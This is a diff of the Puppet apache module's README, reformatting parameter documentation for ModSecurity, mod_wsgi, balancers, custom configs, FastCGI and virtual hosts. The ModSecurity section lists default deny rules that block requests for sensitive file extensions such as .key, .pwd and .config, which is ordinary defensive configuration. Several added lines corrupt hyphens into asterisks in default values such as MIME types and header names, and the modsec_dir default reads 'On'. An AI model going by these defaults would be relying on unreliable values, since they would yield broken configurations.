Trustwave's [`mod_security`][]. It is enabled and runs by default on all virtual hosts. -**Parameters within `apache::mod::security`**: +**Parameters**: -- `activated_rules`: An [array][] of rules from the `modsec_crs_path` or absolute to activate via symlinks. Default: `modsec_default_rules` in [`apache::params`][]. -- `allowed_methods`: A space-separated list of allowed HTTP methods. Default: 'GET HEAD POST OPTIONS'. -- `content_types`: A list of one or more allowed [MIME types][MIME `content-type`]. Default: 'application/x-www-form-urlencoded|multipart/form-data|text/xml|application/xml|application/x-amf' -- `crs_package`: Names the package that installs CRS rules. Default: `modsec_crs_package` in [`apache::params`][]. -- `modsec_dir`: Defines the path where Puppet installs the modsec configuration and activated rules links. Default: 'On', set by `modsec_dir` in [`apache::params`][]. +* `activated_rules`: An [array][] of rules from the `modsec_crs_path` or absolute to activate via symlinks. +* `allowed_methods`: A space*separated list of allowed HTTP methods. + + Default: 'GET HEAD POST OPTIONS'. + +* `content_types`: A list of one or more allowed [MIME types][MIME `content*type`]. + + Default: 'application/x*www*form*urlencoded|multipart/form*data|text/xml|application/xml|application/x*amf'. + +* `crs_package`: Names the package that installs CRS rules. + + Default: `modsec_crs_package` in [`apache::params`][]. + +* `manage_security_crs`: Manage security_crs.conf rules file. + + Default: `true`. + +* `modsec_dir`: Defines the path where Puppet installs the modsec configuration and activated rules links. + + Default: 'On', set by `modsec_dir` in [`apache::params`][]. ${modsec\_dir}/activated\_rules. -- `modsec_secruleengine`: Configures the modsec rules engine. Valid options: 'On', 'Off', and 'DetectionOnly'. Default: `modsec_secruleengine` in [`apache::params`][]. -- `restricted_extensions`: A space-separated list of prohibited file extensions. Default: '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'. -- `restricted_headers`: A list of restricted headers separated by slashes and spaces. Default: 'Proxy-Connection/ /Lock-Token/ /Content-Range/ /Translate/ /via/ /if/'. -- `secdefaultaction`: Configures the Mode of Operation, Self-Contained ('deny') vs. Collaborative Detection ('pass'), for the OWASP ModSecurity Core Rule Set. Default: 'deny'. Fuller values can be set too like "log,auditlog,deny,status:406,tag:'SLA 24/7'" -- `secpcrematchlimit`: Sets the number for the match limit in the PCRE library. Default: '1500' -- `secpcrematchlimitrecursion`: Sets the number for the match limit recursion in the PCRE library. Default: '1500' -- `logroot`: Configures the location of audit and debug logs. Defaults to apache log directory (Redhat: /var/log/httpd Debian: /var/log/apache2) -- `audit_log_releavant_status`: Configures which response status code is to be considered relevant for the purpose of audit logging. Defaults: '^(?:5|4(?!04))'. -- `audit_log_parts`: Sets the sections to be put in the [audit log][]. Default: 'ABIJDEFHZ' -- `anomaly_score_blocking`: De-/Activates the Collaborative Detection Blocking of the OWASP ModSecurity Core Rule Set. Default: off. -- `inbound_anomaly_threshold`: Sets the scoring threshold level of the inbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '5'. -- `outbound_anomaly_threshold`: Sets the scoring threshold level of the outbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '4'. -- `critical_anomaly_score`: Sets the scoring points of the critical severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '5'. -- `error_anomaly_score`: Sets the scoring points of the error severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '4'. -- `warning_anomaly_score`: Sets the scoring points of the warning severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '3'. -- `notice_anomaly_score`: Sets the scoring points of the notice severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. Default: '2'. -- `secrequestmaxnumargs`: Sets the Maximum number of arguments in the request. Default: '255'. -- `secrequestbodylimit`: Sets the maximum request body size ModSecurity will accept for buffering.. Default: '13107200'. -- `secrequestbodynofileslimit`: Sets the maximum request body size ModSecurity will accept for buffering, excluding the size of any files being transported in the request. Default: '131072'. -- `secrequestbodyinmemorylimit`: Sets the maximum request body size that ModSecurity will store in memory. Default: '131072' + +* `modsec_secruleengine`: Configures the modsec rules engine. Values: 'On', 'Off', and 'DetectionOnly'. + + Default: `modsec_secruleengine` in [`apache::params`][]. + +* `restricted_extensions`: A space*separated list of prohibited file extensions. + + Default: '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'. + +* `restricted_headers`: A list of restricted headers separated by slashes and spaces. + + Default: 'Proxy*Connection/ /Lock*Token/ /Content*Range/ /Translate/ /via/ /if/'. + +* `secdefaultaction`: Configures the Mode of Operation, Self-Contained ('deny') or Collaborative Detection ('pass'), for the OWASP ModSecurity Core Rule Set. + + Default: 'deny'. You can also set full values, such as "log,auditlog,deny,status:406,tag:'SLA 24/7'". + +* `secpcrematchlimit`: Sets the number for the match limit in the PCRE library. + + Default: 1500. + +* `secpcrematchlimitrecursion`: Sets the number for the match limit recursion in the PCRE library. + + Default: 1500. + +* `logroot`: Configures the location of audit and debug logs. + + Defaults to the Apache log directory (Redhat: `/var/log/httpd`, Debian: `/var/log/apache2`). + +* `audit_log_releavant_status`: Configures which response status code is to be considered relevant for the purpose of audit logging. + + Default: '^(?:5|4(?!04))'. + +* `audit_log_parts`: Sets the sections to be put in the [audit log][]. + + Default: 'ABIJDEFHZ'. + +* `anomaly_score_blocking`: Activates or deactivates the Collaborative Detection Blocking of the OWASP ModSecurity Core Rule Set. + + Default: 'off'. + +* `inbound_anomaly_threshold`: Sets the scoring threshold level of the inbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 5. + +* `outbound_anomaly_threshold`: Sets the scoring threshold level of the outbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 4. + +* `critical_anomaly_score`: Sets the scoring points of the critical severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 5. + +* `error_anomaly_score`: Sets the scoring points of the error severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 4. + +* `warning_anomaly_score`: Sets the scoring points of the warning severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 3. + +* `notice_anomaly_score`: Sets the scoring points of the notice severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + +Default: 2. + +* `secrequestmaxnumargs`: Sets the Maximum number of arguments in the request. + + Default: 255. + +* `secrequestbodylimit`: Sets the maximum request body size ModSecurity accepts for buffering. + + Default: '13107200'. + +* `secrequestbodynofileslimit`: Sets the maximum request body size ModSecurity accepts for buffering, excluding the size of any files being transported in the request. + + Default: '131072'. + +* `secrequestbodyinmemorylimit`: Sets the maximum request body size that ModSecurity stores in memory. + + Default: '131072' ##### Class: `apache::mod::wsgi` Enables Python support via [`mod_wsgi`][]. -**Parameters within `apache::mod::wsgi`**: +**Parameters**: -- `mod_path`: Defines the path to the `mod_wsgi` shared object (`.so`) file. Default: undef. - - If the `mod_path` parameter doesn't contain `/`, Puppet prefixes it with your operating system's default module path. -Otherwise, Puppet follows it literally. -- `package_name`: Names the package that installs `mod_wsgi`. Default: undef. -- `wsgi_python_home`: Defines the [`WSGIPythonHome`][] directive, such as '/path/to/venv'. Valid options: path. Default: undef. -- `wsgi_python_path`: Defines the [`WSGIPythonPath`][] directive, such as '/path/to/venv/site-packages'. Valid options: path. Default: undef. -- `wsgi_socket_prefix`: Defines the [`WSGISocketPrefix`][] directive, such as "\${APACHE\_RUN\_DIR}WSGI". Default: `wsgi_socket_prefix` in [`apache::params`][]. +* `mod_path`: Defines the path to the `mod_wsgi` shared object (`.so`) file. + + Default: `undef`. + + * If the `mod_path` parameter doesn't contain `/`, Puppet prefixes it with your operating system's default module path. Otherwise, Puppet follows it literally. + +* `package_name`: Names the package that installs `mod_wsgi`. + + Default: `undef`. + +* `wsgi_python_home`: Defines the [`WSGIPythonHome`][] directive, such as '/path/to/venv'. + + Values: A string specifying a path. + + Default: `undef`. + +* `wsgi_python_path`: Defines the [`WSGIPythonPath`][] directive, such as '/path/to/venv/site*packages'. + + Values: A string specifying a path. + + Default: `undef`. + +* `wsgi_restrict_embedded`: Defines the [`WSGIRestrictEmbedded`][] directive, such as 'On'. + +Values: On|Off|undef. + +Default: undef. + +* `wsgi_socket_prefix`: Defines the [`WSGISocketPrefix`][] directive, such as "\${APACHE\_RUN\_DIR}WSGI". + + Default: `wsgi_socket_prefix` in [`apache::params`][]. The class's parameters correspond to the module's directives. See the [module's documentation][`mod_wsgi`] for details. @@ -1992,11 +2648,11 @@ Attempts to automatically detect the Apache version based on the operating syste #### Defined type: `apache::balancer` -Creates an Apache load balancing group, also known as a balancer cluster, using [`mod_proxy`][]. Each load balancing group needs one or more balancer members, which you can declare in Puppet with the [`apache::balancermember`][] define. +Creates an Apache load balancing group, also known as a balancer cluster, using [`mod_proxy`][]. Each load balancing group needs one or more balancer members, which you can declare in Puppet with the [`apache::balancermember`][] defined type. -Declare one `apache::balancer` define for each Apache load balancing group. You can export `apache::balancermember` defined types for all balancer members and collect them on a single Apache load balancer server using [exported resources][]. +Declare one `apache::balancer` defined type for each Apache load balancing group. You can export `apache::balancermember` defined types for all balancer members and collect them on a single Apache load balancer server using [exported resources][]. -**Parameters within `apache::balancer`**: +**Parameters**: ##### `name` @@ -2004,157 +2660,212 @@ Sets the title of the balancer cluster and name of the `conf.d` file containing ##### `proxy_set` -Configures key-value pairs as [`ProxySet`][] lines. Valid options: a [hash][]. Default: '{}'. +Configures key-value pairs as [`ProxySet`][] lines. Values: a [hash][]. Default: '{}'. ##### `collect_exported` -Determines whether to use [exported resources][]. Valid options: Boolean. Default: true. +Determines whether to use [exported resources][]. -If you statically declare all of your backend servers, set this parameter to false to rely on existing, declared balancer member resources. Also, use `apache::balancermember` with [array][] arguments. +If you statically declare all of your backend servers, set this parameter to `false` to rely on existing, declared balancer member resources. Also, use `apache::balancermember` with [array][] arguments. -To dynamically declare backend servers via exported resources collected on a central node, set this parameter to true to collect the balancer member resources exported by the balancer member nodes. +To dynamically declare backend servers via exported resources collected on a central node, set this parameter to `true` to collect the balancer member resources exported by the balancer member nodes. If you don't use exported resources, a single Puppet run configures all balancer members. If you use exported resources, Puppet has to run on the balanced nodes first, then run on the balancer. +Boolean. Default: `true`. + #### Defined type: `apache::balancermember` Defines members of [`mod_proxy_balancer`][], which sets up a balancer member inside a listening service configuration block in the load balancer's `apache.cfg`. -**Parameters within `apache::balancermember`**: +**Parameters**: ##### `balancer_cluster` -**Required**. Sets the Apache service's instance name, and must match the name of a declared [`apache::balancer`][] resource. +**Required**. + +Sets the Apache service's instance name, and must match the name of a declared [`apache::balancer`][] resource. ##### `url` -Specifies the URL used to contact the balancer member server. Default: 'http://${::fqdn}/'. +Specifies the URL used to contact the balancer member server. + +Default: 'http://${::fqdn}/'. ##### `options` -Specifies an [array][] of [options](https://httpd.apache.org/docs/current/mod/mod_proxy.html#balancermember) after the URL, and accepts any key-value pairs available to [`ProxyPass`][]. Default: an empty array. +Specifies an [array][] of [options](https://httpd.apache.org/docs/current/mod/mod_proxy.html#balancermember) after the URL, and accepts any key-value pairs available to [`ProxyPass`][]. + +Default: an empty array. #### Defined type: `apache::custom_config` -Adds a custom configuration file to the Apache server's `conf.d` directory. If the file is invalid and this defined type's [`verify_config`][] parameter's value is true, Puppet throws an error during a Puppet run. +Adds a custom configuration file to the Apache server's `conf.d` directory. If the file is invalid and this defined type's [`verify_config`][] parameter's value is `true`, Puppet throws an error during a Puppet run. -**Parameters within `apache::custom_config`**: +**Parameters**: ##### `ensure` -Specifies whether the configuration file should be present. Valid options: 'absent', 'present'. Default: 'present'. +Specifies whether the configuration file should be present. + +Values: 'absent', 'present'. + +Default: 'present'. ##### `confdir` -Sets the directory in which Puppet places configuration files. Default: the value of [`$::apache::confd_dir`][`confd_dir`]. +Sets the directory in which Puppet places configuration files. + +Default: the value of [`$::apache::confd_dir`][`confd_dir`]. ##### `content` Sets the configuration file's content. The `content` and [`source`][] parameters are exclusive of each other. +Default: `undef` + ##### `filename` -Sets the name of the file under `confdir` in which Puppet stores the configuration. The default behavior is to generate the filename from the `priority` parameter and the resource name. +Sets the name of the file under `confdir` in which Puppet stores the configuration. + +Default: Filename generated from the `priority` parameter and the resource name. ##### `priority` -Sets the configuration file's priority by prefixing its filename with this parameter's numeric value, as Apache processes configuration files in alphanumeric order. Default: '25'. +Sets the configuration file's priority by prefixing its filename with this parameter's numeric value, as Apache processes configuration files in alphanumeric order. -To omit the priority prefix in the configuration file's name, set this parameter to false. +To omit the priority prefix in the configuration file's name, set this parameter to `false`. + +Default: '25'. ##### `source` -Points to the configuration file's source. The [`content`][] and `source` parameters are exclusive of each other. +Points to the configuration file's source. The [`content`][] and `source` parameters are exclusive of each other. TODO: is this required or does it have a default value? + +Default: `undef` ##### `verify_command` -Specifies the command Puppet uses to verify the configuration file. Use a fully qualified command. Default: `/usr/sbin/apachectl -t`. +Specifies the command Puppet uses to verify the configuration file. Use a fully qualified command. -This parameter is only used if the [`verify_config`][] parameter's value is 'true'. If the `verify_command` fails, the Puppet run deletes the configuration file, does not notify the Apache service, and raises an error. +This parameter is used only if the [`verify_config`][] parameter's value is `true`. If the `verify_command` fails, the Puppet run deletes the configuration file and raises an error, but does not notify the Apache service. + +Default: '/usr/sbin/apachectl -t'. ##### `verify_config` -Specifies whether to validate the configuration file before notifying the Apache service. Valid options: Boolean. Default: true. +Specifies whether to validate the configuration file before notifying the Apache service. + +Boolean. Default: `true`. #### Defined type: `apache::fastcgi::server` Defines one or more external FastCGI servers to handle specific file types. Use this defined type with [`mod_fastcgi`][FastCGI]. -**Parameters within `apache::fastcgi::server`:** +**Parameters** ##### `host` Determines the FastCGI's hostname or IP address and TCP port number (1-65535). +Default: '127.0.0.1:9000'. + ##### `timeout` Sets the number of seconds a [FastCGI][] application can be inactive before aborting the request and logging the event at the error LogLevel. The inactivity timer applies only as long as a connection is pending with the FastCGI application. If a request is queued to an application, but the application doesn't respond by writing and flushing within this period, the request is aborted. If communication is complete with the application but incomplete with the client (the response is buffered), the timeout does not apply. +Default: 15. + ##### `flush` Forces [`mod_fastcgi`][FastCGI] to write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible. +Default: `false`. + ##### `faux_path` Apache has [FastCGI][] handle URIs that resolve to this filename. The path set in this parameter does not have to exist in the local filesystem. +Default: "/var/www/${name}.fcgi". + ##### `alias` Internally links actions with the FastCGI server. This alias must be unique. +Default: "/${name}.fcgi". + ##### `file_type` Sets the [MIME `content-type`][] of the file to be processed by the FastCGI server. +Default: 'application/x-httpd-php'. + #### Defined type: `apache::listen` -Adds [`Listen`][] directives to `ports.conf` in the Apache configuration directory that define the Apache server's or a virtual host's listening address and port. The [`apache::vhost`][] class uses this defined type, and titles take the form '', ':', or ':'. +Adds [`Listen`][] directives to `ports.conf` in the Apache configuration directory that define the Apache server's or a virtual host's listening address and port. The [`apache::vhost`][] class uses this defined type, and titles take the form ``, `:`, or `:`. #### Defined type: `apache::mod` Installs packages for an Apache module that doesn't have a corresponding [`apache::mod::`][] class, and checks for or places the module's default configuration files in the Apache server's `module` and `enable` directories. The default locations depend on your operating system. -**Parameters within `apache::mod`**: +**Parameters**: ##### `package` -**Required**. Names the package Puppet uses to install the Apache module. +**Required**. + +Names the package Puppet uses to install the Apache module. + +Default: `undef`. ##### `package_ensure` -Determines whether Puppet ensures the Apache module should be installed. Valid options: 'absent', 'present'. Default: 'present'. +Determines whether Puppet ensures the Apache module should be installed. + +Values: 'absent', 'present'. + +Default: 'present'. ##### `lib` -Defines the module's shared object name. Its default value is `mod_$name.so`, and it should not be configured manually without special reason. +Defines the module's shared object name. Do not configure manually without special reason. + +Default: `mod_$name.so`. ##### `lib_path` -Specifies a path to the module's libraries. Default: the `apache` class's [`lib_path`][] parameter. +Specifies a path to the module's libraries. Do not manually set this parameter without special reason. The [`path`][] parameter overrides this value. + +Default: The `apache` class's [`lib_path`][] parameter. -Don't manually set this parameter without special reason. The [`path`][] parameter overrides this value. ##### `loadfile_name` -Sets the filename for the module's [`LoadFile`][] directive, which can also set the module load order as Apache processes them in alphanumeric order. Valid options: filenames formatted `\*.load`. Default: the resource's name followed by 'load', as in '$name.load'. +Sets the filename for the module's [`LoadFile`][] directive, which can also set the module load order as Apache processes them in alphanumeric order. + +Values: Filenames formatted `\*.load`. + +Default: the resource's name followed by 'load', as in '$name.load'. ##### `loadfiles` -Specifies an array of [`LoadFile`][] directives. Default: undef. +Specifies an array of [`LoadFile`][] directives. + +Default: `undef`. ##### `path` -Specifies a path to the module. Default: [`lib_path`][]/[`lib`][]. +Specifies a path to the module. Do not manually set this parameter without a special reason. -> **Note:** Don't manually set this parameter without a specific reason. +Default: [`lib_path`][]/[`lib`][]. #### Defined type: `apache::namevirtualhost` -Enables [name-based virtual hosts][] and adds all related directives to the `ports.conf` file in the Apache HTTPD configuration directory. Titles can take the forms '\*', '\*:\', '\_default\_:\, '\', or '\:\'. +Enables [name-based virtual hosts][] and adds all related directives to the `ports.conf` file in the Apache HTTPD configuration directory. Titles can take the forms '\*', '\*:\', '\_default\_:\, '\', or '\:\'. #### Defined type: `apache::vhost` -The Apache module allows a lot of flexibility in the setup and configuration of virtual hosts. This flexibility is due, in part, to `vhost` being a defined resource type, which allows Apache to evaluate it multiple times with different parameters. +The apache module allows a lot of flexibility in the setup and configuration of virtual hosts. This flexibility is due, in part, to `vhost` being a defined resource type, which allows Apache to evaluate it multiple times with different parameters. The `apache::vhost` defined type allows you to have specialized configurations for virtual hosts that have requirements outside the defaults. You can set up a default virtual host within the base `::apache` class, as well as set a customized virtual host as the default. Customized virtual hosts have a lower numeric [`priority`][] than the base class's, causing Apache to process the customized virtual host first. @@ -2162,49 +2873,71 @@ The `apache::vhost` defined type uses `concat::fragment` to build the configurat For the custom fragment's `order` parameter, the `apache::vhost` defined type uses multiples of 10, so any `order` that isn't a multiple of 10 should work. -**Parameters within `apache::vhost`**: +**Parameters**: ##### `access_log` -Determines whether to configure `*_access.log` directives (`*_file`,`*_pipe`, or `*_syslog`). Valid options: Boolean. Default: true. +Determines whether to configure `*_access.log` directives (`*_file`,`*_pipe`, or `*_syslog`). + +Boolean. Default: `true`. ##### `access_log_env_var` -Specifies that only requests with particular environment variables be logged. Default: undef. +Specifies that only requests with particular environment variables be logged. + +Default: `undef`. ##### `access_log_file` -Sets the filename of the `*_access.log` placed in [`logroot`][]. Given a virtual host---for instance, example.com---it defaults to 'example.com\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_access.log' for unencrypted virtual hosts. +Sets the filename of the `*_access.log` placed in [`logroot`][]. Given a virtual host---for instance, example.com---it defaults to 'example.com_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com_access.log' for unencrypted virtual hosts. + +Default: `false`. ##### `access_log_format` -Specifies the use of either a [`LogFormat`][] nickname or a custom-formatted string for the access log. Default: 'combined'. +Specifies the use of either a [`LogFormat`][] nickname or a custom-formatted string for the access log. + +Default: 'combined'. ##### `access_log_pipe` -Specifies a pipe where Apache sends access log messages. Default: undef. +Specifies a pipe where Apache sends access log messages. + +Default: `undef`. ##### `access_log_syslog` -Sends all access log messages to syslog. Default: undef. +Sends all access log messages to syslog. + +Default: `undef`. ##### `add_default_charset` Sets a default media charset value for the [`AddDefaultCharset`][] directive, which is added to `text/plain` and `text/html` responses. +Default: `undef`. + ##### `add_listen` -Determines whether the virtual host creates a [`Listen`][] statement. Valid options: Boolean. Default: true. +Determines whether the virtual host creates a [`Listen`][] statement. -Setting `add_listen` to false prevents the virtual host from creating a `Listen` statement. This is important when combining virtual hosts that aren't passed an `ip` parameter with those that are. +Setting `add_listen` to `false` prevents the virtual host from creating a `Listen` statement. This is important when combining virtual hosts that aren't passed an `ip` parameter with those that are. + +Boolean. Default: `true`. ##### `use_optional_includes` -Specifies whether Apache uses the [`IncludeOptional`][] directive instead of [`Include`][] for `additional_includes` in Apache 2.4 or newer. Valid options: Boolean. Default: false. +Specifies whether Apache uses the [`IncludeOptional`][] directive instead of [`Include`][] for `additional_includes` in Apache 2.4 or newer. + +Boolean. Default: `false`. ##### `additional_includes` -Specifies paths to additional static, virtual host-specific Apache configuration files. You can use this parameter to implement a unique, custom configuration not supported by this module. Valid options: a string path or [array][] of them. Default: an empty array. +Specifies paths to additional static, virtual host-specific Apache configuration files. You can use this parameter to implement a unique, custom configuration not supported by this module. + +Values: a string or [array][] of strings specifying paths. + +Default: an empty array. ##### `aliases` @@ -2234,59 +2967,74 @@ aliases => [ For the `alias`, `aliasmatch`, `scriptalias` and `scriptaliasmatch` keys to work, each needs a corresponding context, such as `` or ``. Puppet creates the directives in the order specified in the `aliases` parameter. As described in the [`mod_alias`][] documentation, add more specific `alias`, `aliasmatch`, `scriptalias` or `scriptaliasmatch` parameters before the more general ones to avoid shadowing. -> **Note**: Use the `aliases` parameter instead of the `scriptaliases` parameter because you can precisely control the various alias directives' order. Defining `ScriptAliases` using the `scriptaliases` parameter means *all* `ScriptAlias` directives will come after *all* `Alias` directives, which can lead to `Alias` directives shadowing `ScriptAlias` directives. This often causes problems, for example with Nagios. +> **Note**: Use the `aliases` parameter instead of the `scriptaliases` parameter because you can precisely control the order of various alias directives. Defining `ScriptAliases` using the `scriptaliases` parameter means *all* `ScriptAlias` directives will come after *all* `Alias` directives, which can lead to `Alias` directives shadowing `ScriptAlias` directives. This often causes problems; for example, this could cause problems with Nagios. -If [`apache::mod::passenger`][] is loaded and `PassengerHighPerformance` is 'true', the `Alias` directive might not be able to honor the `PassengerEnabled => off` statement. See [this article](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) for details. +If [`apache::mod::passenger`][] is loaded and `PassengerHighPerformance` is `true`, the `Alias` directive might not be able to honor the `PassengerEnabled => off` statement. See [this article](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) for details. ##### `allow_encoded_slashes` -Sets the [`AllowEncodedSlashes`][] declaration for the virtual host, overriding the server default. This modifies the virtual host responses to URLs with `\` and `/` characters. Valid options: 'nodecode', 'off', 'on'. Default: undef, which omits the declaration from the server configuration and selects the Apache default setting of `Off`. +Sets the [`AllowEncodedSlashes`][] declaration for the virtual host, overriding the server default. This modifies the virtual host responses to URLs with `\` and `/` characters. Values: 'nodecode', 'off', 'on'. The default setting omits the declaration from the server configuration and selects the Apache default setting of 'Off'. + +Default: `undef` ##### `block` -Specifies the list of things to which Apache blocks access. Valid option: 'scm', which blocks web access to `.svn`, `.git`, and `.bzr` directories. Default: an empty [array][]. +Specifies the list of things to which Apache blocks access. Valid option: 'scm', which blocks web access to `.svn`, `.git`, and `.bzr` directories. + +Default: an empty [array][]. ##### `cas_attribute_prefix` -Adds a header with the value of this header being the attribute values when SAML validation is enabled. Defaults to -the value set by [`apache::mod::auth_cas`][] +Adds a header with the value of this header being the attribute values when SAML validation is enabled. + +Defaults: The value set by [`apache::mod::auth_cas`][]. ##### `cas_attribute_delimiter` -The delimiter between attribute values in the header created by `cas_attribute_prefix`. Defaults to the value -set by [`apache::mod::auth_cas`][] +Sets the delimiter between attribute values in the header created by `cas_attribute_prefix`. + +Default: The value set by [`apache::mod::auth_cas`][]. ##### `cas_login_url` Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and -don't have an active session. Defaults to the value set by [`apache::mod::auth_cas`][] +don't have an active session. + +Default: The value set by [`apache::mod::auth_cas`][]. ##### `cas_scrub_request_headers` -Remove inbound request headers that may have special meaning within mod_auth_cas. Defaults to the value -set by [`apache::mod::auth_cas`][] +Remove inbound request headers that may have special meaning within mod_auth_cas. + +Default: The value set by [`apache::mod::auth_cas`][]. ##### `cas_sso_enabled` -Enables experimental support for single sign out (may mangle POST data). Defaults to the value -set by [`apache::mod::auth_cas`][] +Enables experimental support for single sign out (may mangle POST data). + +Default: The value set by [`apache::mod::auth_cas`][]. ##### `cas_validate_saml` -Parse response from CAS server for SAML. Defaults to the value set by [`apache::mod::auth_cas`][] +Parse response from CAS server for SAML. Default: The value set by [`apache::mod::auth_cas`][]. ##### `cas_validate_url` -Sets the URL to use when validating a client-presented ticket in an HTTP query string. Defaults to the value set by -[`apache::mod::auth_cas`][] +Sets the URL to use when validating a client-presented ticket in an HTTP query string. + +Defaults to the value set by [`apache::mod::auth_cas`][]. ##### `custom_fragment` -Passes a string of custom configuration directives to place at the end of the virtual host configuration. Default: undef. +Passes a string of custom configuration directives to place at the end of the virtual host configuration. + +Default: `undef`. ##### `default_vhost` -Sets a given `apache::vhost` defined type as the default to serve requests that do not match any other `apache::vhost` defined types. Default: false. +Sets a given `apache::vhost` defined type as the default to serve requests that do not match any other `apache::vhost` defined types. + +Default: `false`. ##### `directories` @@ -2294,33 +3042,55 @@ See the [`directories`](#parameter-directories-for-apachevhost) section. ##### `directoryindex` -Sets the list of resources to look for when a client requests an index of the directory by specifying a '/' at the end of the directory name. See the [`DirectoryIndex`][] directive documentation for details. Default: undef. +Sets the list of resources to look for when a client requests an index of the directory by specifying a '/' at the end of the directory name. See the [`DirectoryIndex`][] directive documentation for details. + +Default: `undef`. ##### `docroot` -**Required**. Sets the [`DocumentRoot`][] location, from which Apache serves files. +**Required**. -If `docroot` and [`manage_docroot`][] are both set to false, no [`DocumentRoot`][] will be set and the accompanying `` block will not be created. +Sets the [`DocumentRoot`][] location, from which Apache serves files. + +If `docroot` and [`manage_docroot`][] are both set to `false`, no [`DocumentRoot`][] will be set and the accompanying `` block will not be created. + +Values: A string specifying a directory path. ##### `docroot_group` -Sets group access to the [`docroot`][] directory. Valid options: A string representing a system group. Default: 'root'. +Sets group access to the [`docroot`][] directory. + +Values: A string specifying a system group. + +Default: 'root'. ##### `docroot_owner` -Sets individual user access to the [`docroot`][] directory. Valid options: A string representing a user account. Default: 'root'. +Sets individual user access to the [`docroot`][] directory. + +Values: A string specifying a user account. + +Default: 'root'. ##### `docroot_mode` -Sets access permissions for the [`docroot`][] directory, in numeric notation. Valid options: A string. Default: undef. +Sets access permissions for the [`docroot`][] directory, in numeric notation. + +Values: A string. + +Default: `undef`. ##### `manage_docroot` -Determines whether Puppet manages the [`docroot`][] directory. Valid options: Boolean. Default: true. +Determines whether Puppet manages the [`docroot`][] directory. + +Boolean. Default: `true`. ##### `error_log` -Specifies whether `*_error.log` directives should be configured. Valid options: Boolean. Default: true. +Specifies whether `*_error.log` directives should be configured. + +Boolean. Default: `true`. ##### `error_log_file` @@ -2328,23 +3098,29 @@ Points the virtual host's error logs to a `*_error.log` file. If this parameter If none of these parameters is set, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts. +Default: `undef`. + ##### `error_log_pipe` -Specifies a pipe to send error log messages to. Default: undef. +Specifies a pipe to send error log messages to. This parameter has no effect if the [`error_log_file`][] parameter has a value. If neither this parameter nor `error_log_file` has a value, Puppet then checks [`error_log_syslog`][]. +Default: `undef`. + ##### `error_log_syslog` -Determines whether to send all error log messages to syslog. Valid options: Boolean. Default: undef. +Determines whether to send all error log messages to syslog. This parameter has no effect if either of the [`error_log_file`][] or [`error_log_pipe`][] parameters has a value. If none of these parameters has a value, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts. +Boolean. Default: `undef`. + ##### `error_documents` -A list of hashes which can be used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for this virtual host. Default: '[]'. +A list of hashes which can be used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for this virtual host. -An example: +For example: ``` puppet apache::vhost { 'sample.example.net': @@ -2355,18 +3131,36 @@ apache::vhost { 'sample.example.net': } ``` +Default: '[]'. + ##### `ensure` -Specifies if the virtual host is present or absent. Valid options: 'absent', 'present'. Default: 'present'. +Specifies if the virtual host is present or absent. + +Values: 'absent', 'present'. + +Default: 'present'. ##### `fallbackresource` -Sets the [FallbackResource](https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource) directive, which specifies an action to take for any URL that doesn't map to anything in your filesystem and would otherwise return 'HTTP 404 (Not Found)'. Valid options must either begin with a '/' or be 'disabled'. Default: undef. +Sets the [FallbackResource](https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource) directive, which specifies an action to take for any URL that doesn't map to anything in your filesystem and would otherwise return 'HTTP 404 (Not Found)'. Values must either begin with a '/' or be 'disabled'. + +Default: `undef`. #####`fastcgi_idle_timeout` If using fastcgi, this option sets the timeout for the server to respond. +Default: `undef`. + +##### `file_e_tag` + +Sets the server default for the [`FileETag`][] declaration, which modifies the response header field for static files. + +Values: 'INode', 'MTime', 'Size', 'All', 'None'. + +Default: `undef`, which uses Apache's default setting of 'MTime Size'. + ##### `filters` [Filters](https://httpd.apache.org/docs/current/mod/mod_filter.html) enable smart, 